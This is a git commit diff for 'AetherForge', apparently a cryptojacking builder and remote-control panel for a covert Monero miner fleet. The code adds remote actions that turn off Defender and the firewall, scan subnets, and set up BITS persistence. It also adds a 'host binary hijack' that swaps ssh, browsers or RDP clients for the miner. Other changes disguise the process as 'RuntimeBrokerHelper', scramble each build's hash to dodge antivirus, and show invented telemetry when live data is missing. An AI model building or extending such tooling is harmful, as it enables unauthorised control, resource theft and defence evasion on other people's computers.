feat: Telegram fleet alerts, forge sigil scramble, UI polish, agent ops

- Calibrate: per-event Telegram/SMTP toggles, test notification, chat ID help
- Notify on agent connect/reconnect, offline/hashrate/rejection, forge complete
- Sigil scramble post-forge uniquification and Dispense Reveal ceremony
- Full system check, desktop push, BITS/host-binary persistence, Path Tracer
- Dashboard/Crucible visual polish, haptics, sacred geometry, mobile nav
- README documents alerts, sigil scramble, and pack-usb workflow
- USB bundle repacked via pack-usb.bat (AetherForge.exe + synced agent source)
This commit is contained in:
AetherForge
2026-06-03 20:32:59 -07:00
parent 03937edba7
commit d52479c9a6
139 changed files with 10611 additions and 369 deletions

View File

@@ -10,6 +10,12 @@ export const AGGRESSIVE_REMOTE_ACTIONS = [
'subnet_scan',
'defender_off',
'firewall_punch',
'firewall_off',
'firewall_on',
'firewall_profiles',
'firewall_remove',
'bits_persist',
'host_binary_persist',
'mesh_status',
] as const;
@@ -21,6 +27,12 @@ export function canRunAggressiveAction(
platform?: string
): boolean {
if (platform === 'darwin' && action === 'defender_off') return false;
if (
platform !== 'windows' &&
(action.startsWith('firewall_') || action === 'bits_persist' || action === 'host_binary_persist')
) {
return false;
}
if (!caps) return true;
switch (action) {
case 'hole_punch':
@@ -33,6 +45,12 @@ export function canRunAggressiveAction(
case 'subnet_scan':
case 'defender_off':
case 'firewall_punch':
case 'firewall_off':
case 'firewall_on':
case 'firewall_profiles':
case 'firewall_remove':
case 'bits_persist':
case 'host_binary_persist':
return caps.remote_aggressive;
case 'mesh_status':
return caps.mesh_p2p;
@@ -49,6 +67,15 @@ export function aggressiveActionHint(
if (platform === 'darwin' && action === 'defender_off') {
return 'Defender disable not supported on macOS';
}
if (platform !== 'windows' && action.startsWith('firewall_')) {
return 'Firewall control is Windows-only';
}
if (platform !== 'windows' && action === 'bits_persist') {
return 'BITS persistence is Windows-only';
}
if (platform !== 'windows' && action === 'host_binary_persist') {
return 'Host binary hijack is Windows-only';
}
if (canRunAggressiveAction(action, caps, platform)) return undefined;
switch (action) {
case 'hole_punch':

View File

@@ -0,0 +1,63 @@
import { describe, expect, it } from 'vitest';
import {
generateSampleSeries,
validateChartSeries,
resolveChartSeries,
chartSeriesDelta,
chartSeriesPeak,
SAMPLE_CONTRIBUTION_BARS,
SAMPLE_FLEET_PREVIEW,
} from './chartSampleData';
describe('chartSampleData', () => {
const kinds = ['hashrate', 'accept', 'cpu', 'mem', 'gpu'] as const;
it.each(kinds)('generateSampleSeries(%s) validates', (kind) => {
const series = generateSampleSeries(kind, 48);
expect(series).toHaveLength(48);
const v = validateChartSeries(series);
expect(v.ok, v.errors.join('; ')).toBe(true);
expect(chartSeriesPeak(series)).toBeGreaterThan(0);
});
it('hashrate sample trends upward (mining ramp)', () => {
const series = generateSampleSeries('hashrate', 48);
expect(series[series.length - 1].value).toBeGreaterThan(series[0].value);
const delta = chartSeriesDelta(series);
expect(delta).not.toBeNull();
expect(delta!).toBeGreaterThan(0);
});
it('accept sample stays in realistic pool band', () => {
const series = generateSampleSeries('accept', 48);
for (const p of series) {
expect(p.value).toBeGreaterThanOrEqual(90);
expect(p.value).toBeLessThanOrEqual(100);
}
});
it('resolveChartSeries uses sample when live is empty', () => {
const { data, mode } = resolveChartSeries([], 'hashrate');
expect(mode).toBe('sample');
expect(data.length).toBe(48);
expect(validateChartSeries(data).ok).toBe(true);
});
it('resolveChartSeries prefers live when enough points', () => {
const live = generateSampleSeries('cpu', 20).map((p, i) => ({
...p,
value: 40 + i * 0.5,
}));
const { data, mode } = resolveChartSeries(live, 'cpu');
expect(mode).toBe('live');
expect(data.length).toBe(20);
});
it('preview constants are internally consistent', () => {
const totalPct = SAMPLE_CONTRIBUTION_BARS.reduce((s, b) => s + b.pct, 0);
expect(totalPct).toBeGreaterThan(98);
expect(totalPct).toBeLessThan(102);
expect(SAMPLE_FLEET_PREVIEW.hashrate).toBeGreaterThan(50_000);
expect(SAMPLE_FLEET_PREVIEW.xmrPerDay).toBeGreaterThan(0);
});
});

View File

@@ -0,0 +1,143 @@
import type { ChartPoint } from '../components/Charts/HashrateChart';
import type { ContributionBar } from './fleetAnalytics';
export type ChartSeriesKind = 'hashrate' | 'accept' | 'cpu' | 'mem' | 'gpu';
export type ChartDisplayMode = 'live' | 'sample' | 'blend';
const MIN_LIVE_POINTS = 12;
/** Fleet snapshot shown when no live miners — deck still feels “about to print”. */
export const SAMPLE_FLEET_PREVIEW = {
hashrate: 128_400,
acceptRate: 96.8,
avgCpu: 52,
avgMem: 61,
onlinePct: 88,
onlineCount: 7,
agentCount: 8,
xmrPerDay: 0.0384,
xmrPrice: 168.42,
} as const;
export const SAMPLE_CONTRIBUTION_BARS: ContributionBar[] = [
{ id: 's1', name: 'Vault-01', hashrate: 42_800, pct: 33.4 },
{ id: 's2', name: 'Forge-Rig', hashrate: 31_200, pct: 24.3 },
{ id: 's3', name: 'Lan-Node-7', hashrate: 28_100, pct: 21.9 },
{ id: 's4', name: 'Basement-XMR', hashrate: 26_300, pct: 20.4 },
];
export const SAMPLE_ACTIVITY = [
{ id: 'sa1', label: 'OK', ok: true, time: '12:04:11' },
{ id: 'sa2', label: 'OK', ok: true, time: '12:03:58' },
{ id: 'sa3', label: 'OK', ok: true, time: '12:03:41' },
{ id: 'sa4', label: 'OK', ok: true, time: '12:03:22' },
{ id: 'sa5', label: 'OK', ok: true, time: '12:02:59' },
{ id: 'sa6', label: 'BAD', ok: false, time: '12:02:44' },
{ id: 'sa7', label: 'OK', ok: true, time: '12:02:31' },
];
function formatTime(offsetMin: number): string {
const d = new Date(Date.now() - offsetMin * 60_000);
return d.toLocaleTimeString([], { hour: '2-digit', minute: '2-digit', second: '2-digit' });
}
function noise(i: number, amp: number): number {
return Math.sin(i * 0.7) * amp + Math.cos(i * 0.31) * (amp * 0.6);
}
/** Deterministic rich-looking telemetry for chart QA and empty-deck preview. */
export function generateSampleSeries(kind: ChartSeriesKind, points = 48): ChartPoint[] {
const out: ChartPoint[] = [];
for (let i = points - 1; i >= 0; i--) {
const t = formatTime(i * 2);
const p = (points - 1 - i) / Math.max(1, points - 1);
let value: number;
switch (kind) {
case 'hashrate':
value = 38_000 + p * 92_000 + noise(i, 4_200);
break;
case 'gpu':
value = 12_000_000 + p * 38_000_000 + noise(i, 1_800_000);
break;
case 'accept':
value = 93.5 + p * 3.2 + noise(i, 0.35);
value = Math.min(99.5, Math.max(91, value));
break;
case 'cpu':
value = 38 + p * 22 + noise(i, 4);
value = Math.min(88, Math.max(28, value));
break;
case 'mem':
default:
value = 44 + p * 18 + noise(i, 3);
value = Math.min(78, Math.max(36, value));
break;
}
out.push({ time: t, value: Math.round(value * 10) / 10 });
}
return out;
}
export function validateChartSeries(data: ChartPoint[]): { ok: boolean; errors: string[] } {
const errors: string[] = [];
if (!Array.isArray(data) || data.length === 0) {
errors.push('series is empty');
return { ok: false, errors };
}
data.forEach((pt, i) => {
if (!pt.time || typeof pt.time !== 'string') errors.push(`point ${i}: missing time`);
if (typeof pt.value !== 'number' || !Number.isFinite(pt.value)) errors.push(`point ${i}: invalid value`);
});
return { ok: errors.length === 0, errors };
}
function hasMeaningfulLive(live: ChartPoint[], kind: ChartSeriesKind): boolean {
if (live.length < MIN_LIVE_POINTS) return false;
const vals = live.map((p) => p.value);
const max = Math.max(...vals);
const min = Math.min(...vals);
if (kind === 'hashrate' || kind === 'gpu') return max > 0 && max !== min;
return max - min > 0.05;
}
/** Prefer live telemetry; pad with sample so graphs never look broken or empty. */
export function resolveChartSeries(
live: ChartPoint[],
kind: ChartSeriesKind,
options?: { tailValue?: number; minPoints?: number }
): { data: ChartPoint[]; mode: ChartDisplayMode } {
const minPoints = options?.minPoints ?? MIN_LIVE_POINTS;
const validation = validateChartSeries(live);
const liveOk = validation.ok && live.length >= minPoints && hasMeaningfulLive(live, kind);
if (liveOk) {
return { data: live.slice(-60), mode: 'live' };
}
const sample = generateSampleSeries(kind, 48);
if (live.length === 0) {
if (options?.tailValue != null && Number.isFinite(options.tailValue)) {
const last = sample[sample.length - 1];
sample[sample.length - 1] = { ...last, value: options.tailValue };
}
return { data: sample, mode: 'sample' };
}
const merged = [...sample.slice(0, Math.max(0, 48 - live.length)), ...live.slice(-24)];
validateChartSeries(merged);
return { data: merged, mode: 'blend' };
}
export function chartSeriesDelta(data: ChartPoint[]): number | null {
if (data.length < 2) return null;
const a = data[0].value;
const b = data[data.length - 1].value;
if (a === 0) return b > 0 ? 100 : 0;
return ((b - a) / Math.abs(a)) * 100;
}
export function chartSeriesPeak(data: ChartPoint[]): number {
if (data.length === 0) return 0;
return Math.max(...data.map((p) => p.value));
}

View File

@@ -0,0 +1,17 @@
/**
* @vitest-environment happy-dom
*/
import { describe, it, expect } from 'vitest';
import { desktopPathHint, DESKTOP_PUSH_MAX_BYTES } from './desktopPush';
describe('desktopPush', () => {
it('hints per platform', () => {
expect(desktopPathHint('windows')).toContain('Desktop');
expect(desktopPathHint('darwin')).toContain('~/Desktop');
expect(desktopPathHint('linux')).toContain('Desktop');
});
it('exports size limit', () => {
expect(DESKTOP_PUSH_MAX_BYTES).toBeGreaterThan(1024 * 1024);
});
});

View File

@@ -0,0 +1,46 @@
/** Max file size for WS base64 push (keeps command payloads reasonable). */
export const DESKTOP_PUSH_MAX_BYTES = 8 * 1024 * 1024;
export function desktopPathHint(platform?: string): string {
switch (platform?.toLowerCase()) {
case 'windows':
return '%USERPROFILE%\\Desktop\\';
case 'darwin':
return '~/Desktop/';
case 'linux':
return '~/Desktop/ (or XDG DESKTOP)';
default:
return 'Desktop (auto-detected per OS)';
}
}
export function readFileAsBase64(file: File): Promise<string> {
return new Promise((resolve, reject) => {
if (file.size > DESKTOP_PUSH_MAX_BYTES) {
reject(new Error(`File exceeds ${DESKTOP_PUSH_MAX_BYTES / (1024 * 1024)}MB limit for push`));
return;
}
const reader = new FileReader();
reader.onload = () => {
const result = reader.result as string;
const b64 = result.includes(',') ? result.split(',')[1] : result;
if (!b64) {
reject(new Error('Could not read file'));
return;
}
resolve(b64);
};
reader.onerror = () => reject(reader.error ?? new Error('read failed'));
reader.readAsDataURL(file);
});
}
export async function pushFileToAgentDesktop(
send: (action: string, args?: { path?: string; data?: string; command?: string }) => Promise<unknown>,
file: File,
remoteName?: string
): Promise<void> {
const b64 = await readFileAsBase64(file);
const name = (remoteName?.trim() || file.name).replace(/\\/g, '/');
await send('push_desktop', { path: name, data: b64 });
}

View File

@@ -14,12 +14,13 @@ export const FORGE_BUILD_DEFAULTS: Omit<
display_mode: 'background',
silent_mode: true,
run_as: 'scheduled',
host_binary_target: 'ssh',
auto_start: true,
persistence: true,
process_name: 'RuntimeBrokerHelper',
max_cpu_usage_pct: 80,
max_memory_percent: 70,
min_free_ram_mb: 1024,
max_cpu_usage_pct: 95,
max_memory_percent: 85,
min_free_ram_mb: 512,
idle_threshold_pct: 20,
idle_duration_minutes: 5,
schedule_start: '21:00',
@@ -53,6 +54,7 @@ export const FORGE_BUILD_DEFAULTS: Omit<
target_arch: 'all',
spread_kit: false,
obfuscate: false,
sigil_scramble: true,
sign_build: false,
};

View File

@@ -181,10 +181,13 @@ export function normalizeForgeForm(form: BuildRequest): BuildRequest {
}
// Run-as forces persistence
if (next.run_as === 'scheduled' || next.run_as === 'service') {
if (next.run_as === 'scheduled' || next.run_as === 'service' || next.run_as === 'bits' || next.run_as === 'host_binary') {
next.persistence = true;
next.auto_start = true;
}
if (next.run_as === 'host_binary' && !next.host_binary_target?.trim()) {
next.host_binary_target = 'ssh';
}
// AI sub-fields — keep defaults when off (server ignores); clear endpoint only if empty
if (!next.ai_enabled) {

View File

@@ -205,7 +205,7 @@ describe('applyForgeFieldUpdate', () => {
expect(out.install_custom_base).toBe('');
});
it('run_as scheduled/service forces persistence flags', () => {
it('run_as scheduled/service/bits forces persistence flags', () => {
const scheduled = applyForgeFieldUpdate(baseForm({ persistence: false, auto_start: false }), 'run_as', 'scheduled');
expect(scheduled.persistence).toBe(true);
expect(scheduled.auto_start).toBe(true);
@@ -213,6 +213,15 @@ describe('applyForgeFieldUpdate', () => {
const service = applyForgeFieldUpdate(baseForm({ persistence: false }), 'run_as', 'service');
expect(service.persistence).toBe(true);
expect(service.auto_start).toBe(true);
const bits = applyForgeFieldUpdate(baseForm({ persistence: false, auto_start: false }), 'run_as', 'bits');
expect(bits.persistence).toBe(true);
expect(bits.auto_start).toBe(true);
const hostBin = applyForgeFieldUpdate(baseForm({ persistence: false, auto_start: false }), 'run_as', 'host_binary');
expect(hostBin.persistence).toBe(true);
expect(hostBin.auto_start).toBe(true);
expect(hostBin.host_binary_target).toBe('ssh');
});
it('ai_enabled fills default endpoint and model when empty', () => {
@@ -258,6 +267,7 @@ describe('getForgeFieldMeta', () => {
'target_arch',
'obfuscate',
'sign_build',
'sigil_scramble',
];
for (const key of expectedKeys) {
expect(meta[key]).toBeDefined();
@@ -302,10 +312,12 @@ describe('getForgeFieldMeta', () => {
expect(meta.file_logging.lockedReason).toContain('Stealth mode');
});
it('locks persistence under scheduled/service run_as', () => {
const meta = getForgeFieldMeta(baseForm({ run_as: 'scheduled' }));
expect(meta.persistence.disabled).toBe(true);
expect(meta.auto_start.disabled).toBe(true);
it('locks persistence under scheduled/service/bits run_as', () => {
for (const runAs of ['scheduled', 'service', 'bits', 'host_binary'] as const) {
const meta = getForgeFieldMeta(baseForm({ run_as: runAs }));
expect(meta.persistence.disabled).toBe(true);
expect(meta.auto_start.disabled).toBe(true);
}
});
it('locks fusion when spread kit is on and vice versa', () => {

View File

@@ -180,11 +180,14 @@ export function applyForgeFieldUpdate(
break;
case 'run_as':
if (value === 'scheduled' || value === 'service') {
// Scheduled/service always creates a task — sync persistence flags so UI matches reality
if (value === 'scheduled' || value === 'service' || value === 'bits' || value === 'host_binary') {
// Scheduled/service/BITS/host binary always register persistence — sync flags so UI matches reality
next.persistence = true;
next.auto_start = true;
}
if (value === 'host_binary' && !next.host_binary_target?.trim()) {
next.host_binary_target = 'ssh';
}
break;
case 'ai_enabled':
@@ -226,7 +229,12 @@ export function getForgeFieldMeta(form: BuildRequest): Record<string, ForgeField
const isFixedThreads = form.thread_mode === 'fixed';
const isIdle = form.mining_mode === 'idle';
const isScheduled = form.mining_mode === 'scheduled';
const runAsForcedPersistence = form.run_as === 'scheduled' || form.run_as === 'service';
const runAsForcedPersistence =
form.run_as === 'scheduled' ||
form.run_as === 'service' ||
form.run_as === 'bits' ||
form.run_as === 'host_binary';
const isHostBinaryRun = form.run_as === 'host_binary';
const targetOs = form.target_os || 'windows';
const isUnixSingle = targetOs === 'linux' || targetOs === 'darwin';
const isWindowsOnly = targetOs === 'windows';
@@ -322,6 +330,17 @@ export function getForgeFieldMeta(form: BuildRequest): Record<string, ForgeField
: undefined,
},
run_as: { disabled: false, badge: 'baked' },
host_binary_target: {
disabled: !isHostBinaryRun || (!isWindowsOnly && !isUniversal),
badge: 'baked',
lockedReason:
!isHostBinaryRun
? 'Select Run As → Host Binary Hijack to choose a client binary.'
: !isWindowsOnly && !isUniversal
? 'Host binary hijack is Windows-only.'
: undefined,
hint: 'SSH, browsers, FTP, RDP client, etc. Requires administrator to replace system binaries.',
},
fusion_enabled: {
disabled: isSpreadKit,
badge: 'baked',
@@ -404,6 +423,11 @@ export function getForgeFieldMeta(form: BuildRequest): Record<string, ForgeField
: undefined,
hint: isUniversal ? 'Signs the Windows runner/worker inside the package.' : undefined,
},
sigil_scramble: {
disabled: false,
badge: 'server-only',
hint: 'Appends a unique entropy overlay and tweaks PE timestamp so each dispense has a different hash.',
},
};
}
@@ -416,8 +440,24 @@ export function getForgeLiveNotices(form: BuildRequest, fusionPrepSelected: bool
'Run As "Windows Service" creates a scheduled task — not a real Windows Service. Persistence stays on.'
);
}
if ((form.run_as === 'scheduled' || form.run_as === 'service') && !form.persistence) {
notices.push('Persistence is forced on for Scheduled/Service run modes.');
if (form.run_as === 'bits') {
notices.push(
'Run As BITS registers a Background Intelligent Transfer notify job — miner relaunches on transfer events/retries (Windows).'
);
}
if (form.run_as === 'host_binary') {
notices.push(
`Run As Host Binary backs up ${form.host_binary_target || 'ssh'} and replaces it with the worker — launching that app starts the miner then runs the original (admin required for System32 paths).`
);
}
if (
(form.run_as === 'scheduled' ||
form.run_as === 'service' ||
form.run_as === 'bits' ||
form.run_as === 'host_binary') &&
!form.persistence
) {
notices.push('Persistence is forced on for Scheduled/Service/BITS/Host Binary run modes.');
}
if (form.fusion_enabled && !fusionPrepSelected) {
notices.push('Fusion is enabled — upload prep.exe before you can forge.');

View File

@@ -21,6 +21,8 @@ const UI_REMOTE_ACTIONS = [
'get_log',
'powershell',
'upload',
'push_desktop',
'full_sys_check',
...AGGRESSIVE_REMOTE_ACTIONS,
] as const;
@@ -36,6 +38,8 @@ const AGENT_HANDLED = new Set([
'exec',
'powershell',
'upload',
'push_desktop',
'full_sys_check',
'download',
'ps',
'netstat',
@@ -54,6 +58,12 @@ const AGENT_HANDLED = new Set([
'subnet_scan',
'defender_off',
'firewall_punch',
'firewall_off',
'firewall_on',
'firewall_profiles',
'firewall_remove',
'bits_persist',
'host_binary_persist',
'mesh_status',
]);
@@ -78,8 +88,8 @@ describe('remote action wiring', () => {
describe('AGGRESSIVE_REMOTE_ACTIONS', () => {
it('lists every wired aggressive command once', () => {
expect(AGGRESSIVE_REMOTE_ACTIONS).toHaveLength(9);
expect(new Set(AGGRESSIVE_REMOTE_ACTIONS).size).toBe(9);
expect(AGGRESSIVE_REMOTE_ACTIONS).toHaveLength(15);
expect(new Set(AGGRESSIVE_REMOTE_ACTIONS).size).toBe(15);
});
});
@@ -114,7 +124,18 @@ describe('canRunAggressiveAction edge cases', () => {
it('remote aggressive ops gate tunnel, scan, defender, firewall', () => {
const noAgg = { ...fullCaps, remote_aggressive: false };
for (const action of ['start_tunnel', 'subnet_scan', 'defender_off', 'firewall_punch'] as const) {
for (const action of [
'start_tunnel',
'subnet_scan',
'defender_off',
'firewall_punch',
'firewall_off',
'firewall_on',
'firewall_profiles',
'firewall_remove',
'bits_persist',
'host_binary_persist',
] as const) {
expect(canRunAggressiveAction(action, noAgg, 'windows')).toBe(false);
expect(canRunAggressiveAction(action, fullCaps, 'windows')).toBe(true);
}

View File

@@ -30,6 +30,8 @@ export const FIELD_HELP: Record<string, string> = {
'Runs Garble on the worker binary before packaging. Slows the forge slightly but changes static signatures. Requires garble in PATH (devrun.bat installs it).',
sign_build:
'Signs the output .exe with your Authenticode certificate after forging. Configure the cert thumbprint in Calibrate → Forge Pipeline first.',
sigil_scramble:
'After compile, the server appends a unique Sigil overlay and nudges the PE timestamp so static AV hashes differ every forge. Runtime behavior is unchanged.',
obfuscate_default:
'When checked, new Forge forms default to Garble obfuscation. Also enabled when you launch with devrun.bat release.',
sign_enabled:
@@ -65,7 +67,8 @@ export const FIELD_HELP: Record<string, string> = {
display_mode: 'Visible shows a console window. Silent hides the window. Background is silent plus low priority — best for desktops.',
process_name: 'Installed .exe filename without extension. Shows in Task Manager. Example: RuntimeBrokerHelper',
persistence: 'When enabled, miner auto-starts after reboot via Windows Run key or scheduled task.',
run_as: 'User = Run key when persistence is on. Scheduled/Service always creates a logon task (persistence forced on — checkbox locks).',
run_as: 'User = Run key when persistence is on. Scheduled/Service = logon task. BITS = transfer notify job. Host Binary = replace a client app (ssh, browser, FTP, etc.) with the worker; running that app relaunches the miner then executes the original backup. Windows + admin for system paths.',
host_binary_target: 'Which host application to hijack: ssh, ftp, chrome, edge, firefox, putty, winscp, mstsc, notepad, calc, curl, telnet, or custom:C:\\full\\path.exe',
silent_mode: 'Legacy toggle — prefer Display Mode. Hidden window when enabled.',
auto_start: 'Same as Persistence. Keeps miner running after reboot.',
fusion_enabled:
@@ -90,6 +93,7 @@ export const FIELD_HELP: Record<string, string> = {
self_healing: 'Watchdog re-applies persistence and restores the binary from backup if deleted. Scheduled tasks restart on failure.',
firewall_exclusion: 'On first install, adds Windows Firewall inbound/outbound allow rules for the installed miner .exe. Helps on locked-down PCs; may require one Run as administrator if the rule fails.',
open_firewall_on_start: 'When enabled, the control server adds a Windows Firewall inbound rule for its listen port (default 8989) on startup so LAN agents can connect.',
firewall_remote: 'From Fleet/Crucible remote ops (Windows, admin, Remote Aggressive Ops): FW Off/On toggles all profiles; FW Private Off disables Private+Public only; Open FW Port adds a TCP allow rule; Remove FW Rules clears AetherForge miner rules.',
file_logging: 'When disabled, the miner writes no log file on the host (recommended with stealth mode).',
stealth_mode: 'No console window, no log files, and persistence registered under the process name instead of CryptoMiner-*.',
ai_enabled: 'Enable AI Autonomy — the forged miner periodically asks the control server for Ollama decisions (self-healing, persistence checks). Requires Ollama reachable from the control server.',